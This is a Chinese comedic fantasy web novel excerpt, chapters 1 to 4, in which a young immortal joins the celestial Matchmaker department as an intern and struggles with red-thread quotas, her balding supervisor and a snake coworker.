《实习月老:红线KPI完成了吗?》
1. 第1章
光线从高高的窗户斜射进来,在礼堂里中照出飘动的浮尘。
若有若无的香气弥漫着——大概是哪个紧张的考生在偷偷祈求好运。
公事公办的声音嗡嗡回响,在挑高的房顶下显得有些空洞。
“好了,本年度仙界招录的报名马上就要开始了。我再强调一次,请各位考生务必注意,谨慎选择报考的部门,年初这轮岗位招录录取的最多。”
讲话的老师站在前方的讲台上,手里拿着一份讲稿在宣读,表情严肃。
“如果年初没能被录取,就要等年底空出的补录,到时机会可就要大大减少了。”
他的目光扫过台下黑压压的人头,那眼神仿佛在说:机会就这么多,抓不住可别怪我没提醒。
桃喜宁坐在靠过道的位置,摩挲着手里那张报名表。
表格是标准的仙界制式,摸上去有种细腻的凹凸感。
讲台上那些“机会减少”、“慎重选择”的告诫,她左耳进右耳出——这些话每年招录宣讲都要说至少一遍。
道理她都懂。
可是——
她的目光落回表格上那行醒目的粗体字上:【请勾选意向报考部门(限选一项)】。
下面并列着三个选项,每个前面有个小方框。
就三个。
桃喜宁眨了眨眼,以为自己看错了。她把表格拿近些,又拿远些,甚至侧了侧角度,看是不是光线问题把其他选项给隐藏了。
没有。清清楚楚,只有三个。
“阎王部,财神部,月老部。”她低声念了一遍,语速很慢,像是在确认这不是什么错觉。
然后她又倒过来念了一遍:“月老部,财神部,阎王部。”
还是三个。
礼堂里响起一阵窸窸窣窣的翻动声,夹杂着压低了的惊呼和议论。显然,发现今年选项如此精简的不止她一个。
讲台上的老师清了清嗓子,用眼神示意大家安静,那意思很明白:今年就只有这三个部门招录,有意见也没用。
桃喜宁盯着那三个部门的名字,脑子里开始飞快地盘算。
选哪个?
她的目光首先落在“阎王部”上,然后几乎是本能地,眼前浮现出一张苍白疲惫、眼下挂着浓重青黑的脸——她的师父牧谕。
三百多年前,师父牧谕就是被阎王部录用的。
自那之后,他回人界来探望她这个徒弟的次数,就少得可怜。有限的几次见面里,他眼下的青黑还一次比一次深重。
桃喜宁记得自己前几次还不好意思开口,怕显得不懂事。后来实在憋不住了,在一次难得的师徒见面时,她拉着师父的袖子问:
“师父,您就不能多回来几次吗?您刚收了我这唯一一个徒弟,隔年自己就上岸仙界了。”她当时还特意用了对考进仙界的戏称:“这么多功课,这么多年,就靠我自学,实在很为难啊。”
不问还好,这一问,牧谕那张本就没什么血色的脸上,立刻挂上了两行清泪。不是夸张,是真真切切的泪水,顺着脸颊往下淌。
“小桃啊,”牧谕的声音带着哭腔,紧紧握住她的手。“为师很想回来看你啊,可是为师去的这阎王部……就不是仙待的地方!”
他抽噎了一下,继续控诉:“工作多,假期少,假还特别难请!你想想,人界这生死轮回的数据……哪一样不得我们阎王部经手?部长案头的卷宗堆得比山都高,我们这些下面的,能轻松得了吗?”
说到激动处,牧谕另一只手也抓了上来,把桃喜宁的手握得生疼。
“小桃,等你要上岸仙界了,千万千万记得,不要来阎王部!听师父一句劝,去了那儿,你就别想有安生日子过了!”
那次见面后,牧谕苍白脸色搭配青黑眼圈的形象,就成了桃喜宁心里阎王部员工的标配模板。光是想起来,就觉得一股沉重的疲惫感扑面而来,连带着自己都萎靡了三分。
“不去不去。”桃喜宁搓了搓胳膊,仿佛要驱散那回忆带来的寒意,果断把目光从阎王部上移开,投向剩余的两个部门。
财神部。
这三个字在表格上似乎自带金光。桃喜宁在心里默念一遍,感觉连笔尖都温暖了几分。
听着就是个待遇不错的部门,她心想。
毕竟,苦了哪个部门,也苦不了财神部——这可是管钱、管财运、管经济命脉的地方……哪一样离得开财神部的调度?在这种部门工作,别的不说,福利待遇总归是差不了的。
桃喜宁手里握着的报名笔——开始有些蠢蠢欲动。
她的食指轻轻搭在笔杆上,笔尖悬在“财神部”前面的那个小方框上方,距离不到半寸,眼看就要落下去勾选。
就在这千钧一发的时刻,前排飘来几句压得极低、却因为距离近而清晰可闻的议论:
“哎,听说了吗?财神部已经连续一百年成为报考考生数量最多的部门了,一百年啊!”
“什么一百年,那是现在仙界统计的数据范围只有最近一百年。再往前推推,五百年、一千年,肯定还是财神部最热门,这还用想?”
嗯?!在讨论财神部的报考情况!
桃喜宁的耳朵瞬间竖了起来。她身体保持着不动,脖子却微微转向声音来源的方向,全神贯注地捕捉每一丝信息。
那两个声音继续交谈,带着考生特有的、对未来既憧憬又忧虑的复杂语气:
“热门就意味着竞争大!我同门师兄师姐,去年年初报考财神部的,无一例外,全部被刷掉了!一个都没中!运气好点的那几个,年底才勉强补录上了其他部门。”
“嘶——全部被刷?那运气差的,岂不是去年就白考了,要今年重头再来?!”
白考?重考?
这两个词精准地扎向了桃喜宁。
她手一抖,那支报名笔终于脱离了控制,“啪嗒”一声轻响,掉在了光滑的地面上,还滚了小半圈。
桃喜宁却顾不上立刻去捡。
不,她今年可不能白考!更不能明年重考!
这个念头带着巨大的恐慌感,瞬间淹没了她对财神部待遇的所有向往。
仙界这几十年搞招录改革,几乎隔个十来年就要变个形式:今年笔试加面试,明年可能就变成实践考核加背景审查。规则年年变,题库从不重复,让无数考生头疼不已。
今年要是考不上,明年万一全改了,万一不招了,万一……
桃喜宁不敢再想下去了。她仿佛已经看到自己明年此时,还坐在这礼堂里,面对着一份完全陌生、要求截然不同的报名表和考题,周围都是新鲜面孔,而自己成了复读生。
不行不行,不能再想下去了!再想下去,道心都要不稳了。<
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p>她深吸一口气,强迫自己冷静。弯下腰,捡起报名笔,笔身微凉,让她发热的头脑稍微降温。
她把笔尖放在嘴边,轻轻咬住——这是个从小紧张思考时就有的习惯,尽管被师父牧谕说过很多次不雅观,但就是改不掉。
慌什么,这不还有一个月老部可以选吗?
月老部。
对,月老部好啊。
这个念头劈开了她因为财神部竞争激烈和害怕改革重考而产生的焦虑。
几乎同时,一段三百多年前的遥远记忆,毫无征兆地、清晰地浮现在她脑海里。
那是她正式拜牧谕为师的日子。
父亲和母亲,正因为女儿有修仙资质而既骄傲又不舍。
母亲蹲下身,仔细地帮她整理其实已经很齐整的衣襟,眼里含着泪光,嘴角却努力上扬。
“宁宁,既然你有这个天赋,就好好拜入师父门下,认真修炼。来日……来日荣登仙界,我和你父亲,也就彻底放心了。”
父亲站在一旁搓着手,带着点凡人对仙界天然的好奇。
他接着母亲的话头,半开玩笑半认真地说:“是啊,宁宁。对了,如果你真的成了仙……能不能去牵个红线,管管姻缘什么的?这差事挺好。”
“说什么呢!”母亲立刻嗔怪地拍了下父亲的胳膊,“管什么部门,那是宁宁自己能决定的吗?你给孩子这么大压力干什么?”
“我这不是随便说说嘛,”父亲挠挠头,嘿嘿笑道。
“再说了,我们两个这辈子能遇到,结成夫妻,不就是说明姻缘这事,妙不可言嘛。说不定啊,我们下辈子、下下辈子的姻缘,还得靠宁宁来牵呢!”
看着父亲和母亲你一句我一句,年幼的桃喜宁当时“咯咯”地笑出了声。
那天的风很轻柔,父母的话语和笑容,成了她对仙界和未来最初的美好想象。
回忆的暖流冲刷着刚才的焦虑。
桃喜宁松开了咬着笔杆的牙齿,嘴角不自觉地弯起一点弧度。
“这位考生。”一个声音冷不丁地在身旁响起,礼貌但透着公事公办的催促意味。
桃喜宁猛地从回忆中清醒过来。她抬头,只见老师不知何时已经站在了她旁边。
“你选好要报考的部门了吗?”老师指了指她手里还一片空白的报名表,又示意了一下周围,“就剩下你一个没提交了。其他考生都已经交表离场了。”
桃喜宁这才惊觉,偌大的礼堂不知何时已经变得空空荡荡。刚才还坐得满满当当的座位,此刻只剩下她一个。
窗外的光线又偏移了一些,讲台上早已空无一人。
她竟然在回忆里沉浸了这么久。
“啊,马上就好!”桃喜宁连忙应声,脸上有点发烫。
她重新低头,看向报名表上那三个选项。目光掠过阎王部,掠过财神部,最终,稳稳地落在了“月老部”这三个字上。
牵红线,主姻缘。听着至少,不会像师父那样,回来哭诉不是仙待的地方。
而且,好像也挺符合父母当初那句玩笑般的期盼?
没有再多犹豫,桃喜宁握紧了报名笔笔,手腕用力,在那个对应“月老部”的小方框里,干脆利落地划下了一个勾。
笔迹清晰,色泽饱满,在报名表上格外醒目。
好了,决定了。就选月老部。
2. 第2章
月老部,她终于考上了!
桃喜宁压下几乎要溢于言表的雀跃,努力站得规规矩矩:“李科长您好,我是月老部今年新晋的员工桃喜宁,前来报道。”
面前这位,就是她的直属上司李帅——李科长了。
桃喜宁悄悄抬起眼帘打量。到底是科长,看看这坐姿,背挺得笔直;看看这气质,儒雅随和;看看这……额,头发。
啊,真的不是她这个做下属的一见面就在心里蛐蛐领导,可李科长这发量……
头顶那片区域显得格外开阔,边缘仅存的几缕头发被精心梳理过,却依然掩不住整体的稀疏。
实在堪忧啊。桃喜宁在心里默默补了一句。
李帅自是不知道眼前这位新下属刚打照面,关心的不是部门前景也不是工作内容,而是他的头顶。
“小桃是吧?欢迎欢迎,别拘谨。”他背着手,踱到了窗边。
“这里啊,就是你未来三年实习期的主要工作地点了。走,我先带你到处熟悉熟悉环境。”说着,便转身朝外走去。
桃喜宁连忙应了声“好的科长”,快步跟上,生怕走得慢了漏听什么关键要点。
李帅背着手走在前面,声音不高不低:“这座月老庙,就是我们月老部设在这个城市的办事网点。”
他在办事网点四个字上顿了顿,同时抬手示意桃喜宁注意庙内的环境。
“咱们这个科,业务范围覆盖两个城市,所以一共设了两个办事网点。”李帅继续介绍,语气熟稔,“你工作的这个,是其中之一。”
他顿了顿,脚步也稍停,侧过半边身子:“至于另一个网点的岗位嘛…目前还暂时空缺着。人手一直紧张,最快也得等到年底才能看看有没有补录的名额了。”
这话的言外之意再明白不过:桃喜宁目前就是李帅科长手下,唯一的员工。
作为这唯一的员工,桃喜宁被带着东逛西逛,李帅事无巨细地介绍着。
不知不觉,两人走到了正殿门口。
殿内中央,那尊彩绘的月老神像端坐于神台之上,面容慈祥中透着庄重。
“李科长,我以后工作……是要坐在这里吗?”桃喜宁脱口而出一个未经思考的问题。
问完,她还顺带想象了一下自己端坐其上、面前摆个实习月老牌子的场景。
“哎!胡说什么呢?!”
李帅猛地回过头,脸上的和睦笑容消失得无影无踪,取而代之的是带着惊骇的严肃。
“小心说话!这可是我们部长的固定工位!是你能坐的吗?!”
桃喜宁被这突如其来的激烈反应惊得倒退了一小步,慌忙低下头,连声道歉:“对不起对不起!李科长!是我失言了!是我糊涂了!”
同时,她心里也在拼命鄙视自己:桃喜宁啊桃喜宁!少说多听!多看多学!都忘了吗?!上班第一天就对着部长的工位大放厥词,是不是不想转正了?!
许是看到桃喜宁惊慌的眼神,李帅的神色稍微缓和了些。
“唉……没事,新人嘛,刚来不懂规矩,难免的。”
他的声音恢复了之前的语调,但还带着点余悸:“你也别太紧张,咱们部长其实……还是很和善的。”
说到这里,李帅话锋一转,声音又压低了些,补充了至关重要的一句:“虽然就是……时不时会突然降临各个办事网点视察工作,而且多半不提前打招呼……下次可一定要注意啊!”
桃喜宁听得头皮微微发麻,连连点头应是:“是是是,科长,我记住了,绝对没有下次了!”
一时间,她连眼角都不敢乱瞟了,心里默念:部长在上,新人真的没有丝毫觊觎您工位的意思,一点都没有,半点都不敢!
李帅看着桃喜宁那样子,轻咳了几声,试图把话题拉回正轨。
“好了,说正事。你之后在人界工作期间,仙界后勤司会为你安排一个合法合规的人界身份,户口、档案一应俱全。”
他的语气恢复了领导的沉稳,“明面上,你就是这座月老庙正式聘用的工作人员。日常工作包括接待访客、解答疑问、出售门票和周边、维护庙内秩序等等。”
还给安排人界身份?
桃喜宁一听,心里那点尴尬瞬间被惊喜取代。
太好了!要知道过去三百多年里,她时不时需要离开宗门外出打工赚钱,,最头疼的就是搞个方便行事的身份。
说来说去,都怪师父牧谕上岸地府部太早!没给她这个还在学习的徒弟留够生活费!
不愧是仙界!想得真周到!她在心里默默点了个赞。
这边她还在暗自感慨,那边李帅的声音又响了起来。
“另外,部里也充分体谅派驻人界长期工作的员工,特别批准:员工在办事网点工作期间,可以合法留在人界,不必每天往返仙界通勤。”
他特意重重强调了“不必每天往返”,又接着补充道:“而且,为了更贴合人界的工作习惯,避免引起不必要的关注,派驻人界员工也享有双休日,工作日也有固定的下班时间。”
听听!都说了不愧是仙界!多么体恤员工!
工作期间可以合法留在丰富多彩的人界,不用每天辛苦地跨界通勤,居然还有双休和固定下班时间!
果然是神仙工作!桃喜宁感觉自己的前途一片光明。
“不过——”李帅的话锋毫无预兆地一转,甚至稍稍加强了语气,目光直视桃喜宁。
“有一点必须切记!员工在人界工作、生活期间,决不能被凡人察觉仙人的身份!实习期间若违反,会严重影响转正评估;转正后若是触犯,那也是要记过处罚的!明白吗?”
“嗯嗯,好的,李科长,我记住了。”桃喜宁还沉浸在此前听到的双休、不通勤、有身份等一系列利好中,心神有些恍惚,闻言几乎是条件反射般地随口应下。
等等!
好像有哪里不对?
桃喜宁猛地回过神来,刚才那些好消息带来的晕眩感迅速消退,一个非常现实的问题浮上心头。
她迟疑地、小心翼翼地举起了一只手:“那个……李科长,我有个问题。”
“说。”
“您看啊,又要我们长期留在人界工作,又要求我们不能被凡人发现身份……”
桃喜宁谨慎地组织着语言:“那……衣食住行怎么办?”
是,当了仙之后,她是可以不吃不喝不睡不穿...额,是不需要买衣服穿,也可以一会出现在这一会出现在那。
但长期在人界做一天到晚和凡人接触的工作,这很难不被发现的吧?
李帅明显愣了一下,随即脸上露出恍然和懊恼的神情,抬手拍了下自己的额头:“啊呀!瞧我这记性,忘了把这最实际的跟你交代。”
他重新端起科长的架势,解释道:“是这样。仙界各个部门、各个岗位,在人界都能接收到来自凡人的信仰值,这部分信仰值,每月会按比例结算发放给员工。”
“你呢,是可以把信仰值直接兑换成人界的钱使用的。”
兑换……钱?
桃喜宁感觉自己两边嘴角开始不听使唤地向上翘,怎么压都压不住。眼睛也唰地亮了。
“所以,您是说……”她声音里带着压抑不住的兴奋:“我们每个月……还
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给发工资?可以兑换成人界的钱来用?”
太好了!发钱!发钱耶!
考上之前,她多么兢兢业业地四处打零工,才能攒下一点点可怜巴巴的钱。
现在有了这份稳定工资……要是她偷偷攒着不用都给存起来……
李帅站在对面,似是看穿了桃喜宁正在噼啪作响的小算盘,兜头就泼下一盆冷水:
“哦,对了,如果仙界派驻员工舍不得使用信仰值,试图通过其他手段——
小到变出衣物食品,大到凭空弄出住房车辆——从而导致人界局部财富值出现无法解释的异常波动……”
他故意停顿了一下。
桃喜宁脸上做梦的表情开始越发迷离。
“……那么,财神部可是会立刻发现的。”
李帅慢悠悠地说完,然后给出了致命一击:“到时候,相应的处罚措施里,包括但不限于手写检查、扣发工资、情节严重的还会影响转正和晋升。”
“哗啦”桃喜宁心中的小钱钱应声倒塌。
她刚挺直的一点的腰板瞬间塌了下去,肩膀也垮了,连脑袋都耷拉了。
所有的投机取巧念头,消失得无影无踪。
看到桃喜宁瞬间蔫掉的样子,李帅这才重新露出和蔼表情。
“小桃啊,仙界定下这些细致的规矩,初衷就是为了避免派驻员工在人界利用能力胡作非为,扰乱人界的正常秩序,最终反而影响凡人对仙界的整体信仰和观感。”他语重心长地说。
“你要多理解。”
桃喜宁有气无力地“嗯”了一声,脑袋垂得更低了。
“哎,别这么丧气嘛。”李帅拍了拍她的肩,这次带上了点鼓励。
“告诉你,也不全是约束。员工如果工作出色,帮部门争取到更多的信仰值——不光转正和晋升可以加分,还有机会能在工资之外拿到额外奖金的!”
他稍微弯下腰,低声道:“小桃啊,换个角度想。现在人界生活多便利啊,像凡人一样,用工资租房、吃饭、逛街、消费,本身就是对你仙人身份最好的保护,也是工作的重要组成部分。知道了吗?”
桃喜宁眨眨眼,慢慢抬起头。这么一说……好像也有道理。
抛开那点想省钱的私心,规规矩矩拿工资、过凡人日子,确实是最安全、最省心的方式。
她点了点头,这次眼神清亮了些:“我知道了,李科长。”
总结起来就是:在人界,不用信仰值兑换的钱生活,理论上仙人确实能做到,但实践中完全没必要,且风险极高。所以,该用就用,该花就花,不要没苦硬吃。
“好了,小桃,关于工作环境、纪律和待遇,大致情况就这些了。”李帅直起身,结束了这场信息量颇大的上岗培训。
他抬手揉了揉自己那没剩几根的头发,仿佛这个动作能帮助梳理思绪。
“实习考核期是三年,这个你是知道的。具体的考核标准,你应该早就看过了吧?”
桃喜宁立刻挺直腰板,斩钉截铁地回答:“是!李科长,我记得清清楚楚!”
那些,她在等待报道的日子里翻来覆去看了无数遍,几乎能背下来:
考核为期三年,核心原则是:
婚恋自由。
必须姻缘双方诚心所求,心甘情愿,否则月老不可强行牵线;反之,若双方确系诚心所求,月老也不得拒绝牵线。
具体量化到考核指标就是:
每个考核年度内,红线牵成的数量,与红线断裂的数量,都必须达到规定比例,方能算该年度考核合格。
三年内全部合格,方可转正。
3. 第3章
要转正就要通过考核,可是考核就要通不过了怎么办?
桃喜宁坐在办公桌后,手里手机的屏幕被阳光晃得一片亮白。
她却浑然不觉,只是死死盯着上面那条公众号推送,眉头都拧成了一个结。
【近期结婚率下降,而离婚率有所上升,专家分析指出,这是现代人更追求自身幸福,不愿再受婚恋束缚所导致。】
“什么专家!”桃喜宁几乎要对着手机呲出牙来:“难道有了婚恋就是束缚,就不能追求幸福了?”
她愤愤地滑动屏幕,指望能找到点顺心的消息。
【只求爱不求财?醒醒吧,谈感情伤钱!】
“求财和求爱冲突吗?月老的红线绑的又不是钱包!”桃喜宁指尖用力,几乎要把屏幕戳穿,
“再下一条!”
……
一连刷了十几条,不是贩卖爱情焦虑,就是散播婚恋悲观。
桃喜宁终于放弃,将手机远远推到桌角,来个眼不见为净。
“真是没事找事,刷什么手机,工作是会自己完成吗?”
她自言自语地转过身,将目光投向桌上那台老旧的办公电脑。
是的,办公电脑,而且是安装着姻缘管理系统的办公电脑。
要问桃喜宁为什么月老部要用电脑办公?或者为什么姻缘管理系统要安装在电脑里?
嗯,她也这么问过了。顺带还问了为什么信仰值可以用手机支付?
尤记得当时李帅听到这些个问题时不但一脸惊喜,甚至还紧紧握住了她的手。
“小桃,你对这个感兴趣?太好了!赶紧的,我这就帮你联系,让你彻彻底底搞懂,以后,月老部的电子设备也好,管理系统也好,可就都指望你来维护了。”
啊,不不不。
她一点也不感兴趣,一点也不!
桃喜宁使劲按自己的额头,硬生生把刚又冒出来的一丝丝好奇给按了下去,然后把目光重新投到了办公电脑上。
显示器边框泛黄,主机箱侧面有着几道深刻的划痕,键盘上有几个键已磨损得看不清。
她熟练地按下开机,主机箱发出拖拉机般的轰鸣,挣扎了好一会儿,才慢吞吞地亮起屏幕。
刚登陆姻缘管理系统,一条闪闪发亮的通知就跳了出来,直接占据了大半个屏幕:
【全体月老部实习员工:】
【本年度考核期临近尾声,请各位密切关注系统数据,确保本年度红线牵成/断裂比例不低于合格要求。考核结果将直接影响转正评定,望周知。】
桃喜宁盯着剩余小半个空出的屏幕,只觉得自己的心也跟着空了一块。
“办公电脑破成这样,发通知倒是一次不耽误。”
她哀嚎一声,绝望地用手胡乱扒拉着自己的头发,让原本还算柔顺的发丝瞬间乱成一团。
“怎么办怎么办……现在还差一单,还差最后一单新牵的红线!要是完不成,今年的转正考核就完蛋了”
“要是还没转正就被踢出月老部,那连个散仙都当不成啊!”
就在桃喜宁几乎要自抱自泣时,一条青色的小蛇,悄无声息地游上了桌面。
他先是围着桌角那部被流放的手机转了一圈,用尾巴尖试探性地戳了戳,随即又丝滑地游到桃喜宁面前,昂起了小脑袋。
“既然这么担心,干嘛不主动出击,就近找对男女把红线硬牵上?管他们愿不愿意呢,先把业绩凑够再说。”
这小青蛇大名敖翔,是李帅今天上午刚领来的新同事。
桃喜宁连眼皮都懒得抬,有气无力地回道。
“月老部有明确规定:不得强行牵系红线。违者视情节严重程度,处以信仰值扣罚乃至取消转正资格、予以开除。”
这段话她就职前反复记忆,都快倒背如流了。
“规定这么死板,业绩还怎么做嘛。”
敖翔不满地一甩尾巴,在光洁的桌面上发出“啪”的一声轻响。
“就算是做业绩,姿态也得好看。”桃喜宁终于抬起了头,还一本正经地教育新同事。
“我们不能为了业绩,连底线都不要了。而且,就算是做业绩,姿态也得好看,不能为了业绩不顾体面。”
敖翔的小脑袋上下晃动了几下,语气里居然带上了意外的赞赏:“看不出来,你这个仙,虽然还在实习期,居然还挺有工作原则。”
“原则?”桃喜宁苦笑一下,目光重新落回那刺眼的考核通知上。
“也不全是原则。关键是,现在的凡人,心思变得飞快。就算双方开始是自愿的,月老牵了线也未必牢靠,说断就断。”
她声音低了些:“你知道吗?我这个岗位,之前是一位前辈在负责,她都已经转正成正式月老了。”
“前辈牵红线的时候,那姻缘双方看起来也是情投意合的。可红线牵完后,没过多久就断得彻底。”
“前辈自我要求高,实在接受不了自己的工作成果如此脆弱,心态崩了,结果就辞职当散仙去了……”
说到这儿,桃喜宁忽然噤声,耳朵动了动。
“嘘——!”她猛地竖起一根手指抵在唇边,示意敖翔闭嘴。
“刚才光顾着跟你说话没注意,有人进月老庙了!是一男一女,已经离我们很近了!”
话音未落,门口处便传来了由远及近的交谈声和脚步声。
桃喜宁脸色一变,手忙脚乱地一把抄起桌上的敖翔,左右四顾,寻找能把这见不得人的新同事藏起来的地方。
可情急之下,她总觉得此间到处空荡荡的,一览无余。
听着来人越走越近,桃喜宁灵机一动,手腕一翻,飞快地将敖翔在自己的手腕上缠了几圈,顺手打了个活结,伪装成一条造型别致的青蛇手链。
还低声警告:“别动!”
敖翔却扭啊扭的,显然不太愿意配合这拙劣的伪装。
【你干什么?我刚才明明有机会可以原地消失的!】他气急败坏的传音在桃喜宁脑中炸响。
桃喜宁心里咯噔一下——糟了,忘了还有这招!
可现在那两人已经快到跟前,再让他凭空消失,万一被眼角的余光瞥见,更是解释不清。
【现在晚了!别乱动,要是被凡人发现你的异常,咱俩都得受处罚!】
她单手死死按住腕间不安分的敖翔,用传音跟他讲道理......主要还是强调后果。
就在这时,一个温柔的女声在桌旁响起
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:“哎,老师,我刚才……好像看见你的手链在动?”
桃喜宁心头一紧,瞬间换上了营业式微笑和无比淡定的语气。
“没有没有,你肯定是看错了。”她说着,还故意晃了晃手腕。
那“手链”僵直着一动不动。
“看错了吗?”女人脸上露出些许困惑,下意识地揉了揉眼睛。
“可能是你最近压力太大了,放松些。”身旁的男人适时地握住她的手,声音温和。
“可能……是吧。”女人顺了顺头发,似乎被说服了。
“一定是的!”桃喜宁立刻加重语气,无比笃定地再次强调,仿佛在阐述什么真理。
许是这语气太过坚定,反而让眼前这对男女都愣了一下,气氛瞬间有点微妙的尴尬。
人家都不追究了,还强调个什么劲!赶紧转移话题!
桃喜宁真想当场掐自己一下。她放柔声音:“二位今日一同前来月老庙,是来祈求姻缘的吗?额...”
刚才没仔细看...这个女人的身上,居然还有根若隐若现的红线断头...
这说明,上一段姻缘,才刚刚结束没多久啊。
女人似乎有些犹豫,看了身旁的男人一眼,才轻轻点头。
男人握了握她的手,回以微笑,然后才转向桃喜宁:“是的。”
刚才还在念叨今年考核还差一单!现在这不就来了?
桃喜宁适时瞄向电脑屏幕,姻缘管理系统果然弹出了新的提示:【检测到新的红线牵系申请,申请人:林渊傅、白饴。是否为其牵系红线?】
太好了!简直想现在就冲到部长的工位前磕一个!
她心中欢呼,手指迫不及待地挪动,光标精准地悬停在【同意】按钮之上。
白饴身上那红线的断头......
桃喜宁的眉头微微蹙起,停下了手里的动作。
可是,这条断裂的红线,并非在她负责的辖区牵成。
以实习员工的权限,肯定无法查看更详细的信息,比如那段感情的断裂的具体原因。
所以,是不是,应该更谨慎一些?至少……应该再多观察一下?
但这个念头只是一闪而过。
考核通知上那加粗的“合格要求”四个大字,李科长那发量堪忧的头顶,一一浮现,
全都是仙界职场压力的无声证明啊。
“管不了那么多了!”桃喜宁在心里对自己说:“系统都接受申请了,我还在瞎操什么心?前任红线断了,正好说明眼前这个是正缘!先保住自己的岗位要紧!”
就业压力当前,原则也得适当变通。毕竟,完不成业绩,连实践原则的资格都没有。
这一刻,对转正的渴望压倒了桃喜宁心头那一丝微弱的不安。
她不再犹豫,深吸一口气,指尖带着一种下定决心的力道,重重地点击了下去。
【恭喜!红线牵系成功!】
系统提示框弹出,随后缓缓消失。
桃喜宁看着屏幕上代表林渊傅和白饴的两个名字被一条红色的细线连接在一起,轻轻吁了口气。
成了。
这下,今年的考核,总算...应该...能达标了...吧?
4. 第4章
随着白饴和林渊傅的离去,月老庙刚恢复了宁静,旋即就被打破了。
“哟~~~!”
此刻仍缠在桃喜宁手腕上的敖翔发出讥诮的声音,充满了看热闹不嫌事大的意味。
“刚才是谁在这里高谈阔论,说什么做业绩姿态也得好看,不能为了业绩不顾体面?怎么,轮到抢单其他同事刚断线的客户时,这姿态、这体面,就不要了?”
桃喜宁脸上那点因完成一单业绩而升起的轻松瞬间凝固。
她低头,理直气壮地回怼,边怼还边用指尖戳了戳腕间的敖翔。
“我这不是抢单,是及时响应客户申请!再说,红线都断了,说明之前的服务……呃,之前的缘分已尽。”
“我这是急人所急,帮他们解决开启人生新篇章!这姿态怎么就不体面了?这叫高效、精准!”
“嗤——”敖翔发出一声清晰的、充满不屑的气音,显然对她的说法嗤之以鼻。
同时,他开始用力挣扎,想要解开尾巴上的那个活结。
细长的身体一会绷得笔直,一会又收缩弯曲,试图从缝隙中钻出去。
奈何越急,结缠得越死。
一番徒劳的扭动之后,活结非但没开,反而彻底收成了一个紧紧的死结。
桃喜宁清楚地感觉到自己的手腕处,传来因摩擦而产生的灼热感,心里顿感好笑,猜想大概是这位新同事羞愤交加了。
“行了行了,别折腾了,还得我来吧。”
桃喜宁的语气像是安抚一个闹别扭的小孩,小心翼翼地伸手,耐心地帮敖翔把那个死结一点点解开。
尾巴刚一获得自由,敖翔立刻“嗖”地一下从她腕间蹿出,落在了办公桌上。
他似乎觉得离桃喜宁还不够远,又接连蹦跶了几下,一直跳到桌子最远的边缘,才盘起身子,昂起小脑袋,发出了严厉的抗议:
“你!你欺负我!我要告到李科长那里去!”
……
时间稍早一些,回到当天上午。
月老庙里冷冷清清,只有零星几人过门而入——还只是来参观的。
眼见无需费心接待,桃喜宁便决定:宝贵的上班时间不能浪费,得用来把令人头疼的月度业绩报告给写了。
还记得上个月,她偷懒直接套用了上上个月的报告模板——当然,是简单更新了几处核心数据的版本。
结果被李帅一眼识破,批评工作态度敷衍,当场打回要求重写。
光是想想,就觉得头疼。
现在,这个月都是年底了,要是因为报告又不过关,影响年终考核,真是哭都没地方哭去。
“哎,想想都是泪。”桃喜宁哀叹一声,认命地打开了空白文档。
“这里,这段话上个月用过了,得换个说法……显著提升换成稳步增长?积极开拓改成努力探索?”
她对着屏幕,抓耳挠腮,感觉自己那点可怜的文学素养都快被榨干了。
“还有,这个大概、可能之类的措辞,李科长上次特意强调,说部长最不喜欢这种模糊不清的词,删掉删掉,全部换成经统计,或者是数据分析!”
桃喜宁一边念念有词,一边在文档里修修补补,删除线和修订标记很快布满了屏幕。
“啊——!这样删删改改下去,这报告的字数就不够了啊!考核要求里可是明确写了‘陈述翔实,不少于要求字数的!怎么办?!”
巨大的焦虑感让她猛地从椅子上弹起来,双手“啪”地一下拍在桌面上,对着空气发出绝望的低吼。
“什么怎么办啊?”一个熟悉的声音,突然从背后幽幽地响起。
桃喜宁浑身一僵,看也没看,想也不想,右手精准地摸向鼠标,“咔咔”几下疾速点击。
电脑屏幕瞬间一黑,进入了待机状态。
做完这一切,她才僵硬地转过身,同时挂上了诚恳混着谄媚的笑容:“没什么没什么。李科长,您今天怎么有空大驾光临了?”
说话间,还不动声色地用身体挡住电脑屏幕,试图遮掩得更严实些。
是错觉吗?
桃喜宁微微一愣。
几天不见,面前的李帅,头发好像又少了几根,连背好像都比之前佝偻了一些。
李帅仿佛完全没有注意到桃喜宁刚才那一系列的操作。
他只是习惯性地抬手,摸了摸自己那片越发显眼的头顶,用一种交代任务的平淡语气说道。
“小桃啊,通知你个事。今天有位新同事,要调来你这个办事网点,暂时和你共事一段时间。”
“新同事?!”桃喜宁心里“咯噔”一下,瞬间警惕值拉满。
她脸上的笑容瞬间褪去,取而代之的是全然的紧张和不安,语速飞快。
“那个,李科长!今年毕竟是我参加工作的第一年啊!”
“就算我每个月的考核都低空飞过……啊不是,都合格了呀!不用这么着急就给找我岗位的候补吧?我、我还能再努力努力的!”
李帅被她这一连串“突突突”逼得后退了半步,似是要拉开安全距离。
他皱起眉头,无奈地压低了声音:“想什么呢!这是青龙族为了熟悉人界工作,派来历练的,只是恰好安排在我们月老部。历练结束就调回去了,不会占你转正名额的。”
“哦哦,原来是这样啊!是来历练的!”
桃喜宁悬着的心瞬间落回,紧绷的身体也恢复了松弛。
她长舒一口气,脸上重新堆起笑容,“科长您放心,我保证和新同事和睦相处……”
桃喜宁话音未落,因为放松而随意一动的手臂,就不小心碰到了桌上的鼠标。
鼠标微微一转,漆黑的电脑屏幕“唰”地亮起——
那份布满了乱七八糟修订标记、甚至有一处被特意高亮标注着【李科长说此处措辞需要修改!!!】的月度业绩报告文档,就这么明晃晃地占据了整个屏幕!
空气仿佛在这一刻被彻底抽空。
一种名为尴尬的气氛开始在这方小小的空间里缓慢流淌。
桃喜宁的脸一下红到了耳根,手忙脚乱地再次狠狠拍了下鼠标,屏幕再次应声而黑。
她低着头,几乎不敢去看李科长此刻的表情,结结巴巴地试图解释。
“李、李科长……这个,我正在非常、非常认真地撰写月度业绩报告!”
“这些标记,是为了、为了时刻提醒自己,务必按照您的高标准来要求自己,把需要注意的地方重点突出,绝不再犯之前的错误!”
上方传来李帅一声悠长的、饱含着复杂情绪的叹息。
“小桃啊,”他的声音听起来有些疲惫。
“有工作积极性是好事,但是呢,工作的方式方法,还是要多注意一些。尤其是新同事马上就要到了,你虽然也是刚上岗,可到时候代表的是我们整个月老部的形象和脸面啊。”
“是是是,李科长您批评得对!我一定注意,一定深刻反省!”桃喜宁连连点头,态度极其诚恳。
李帅摇了摇头,没再说什么,转身出去接新同事了。
桃喜宁在办公室里正襟危坐,等了许久,还不见李帅带着新同事回来。
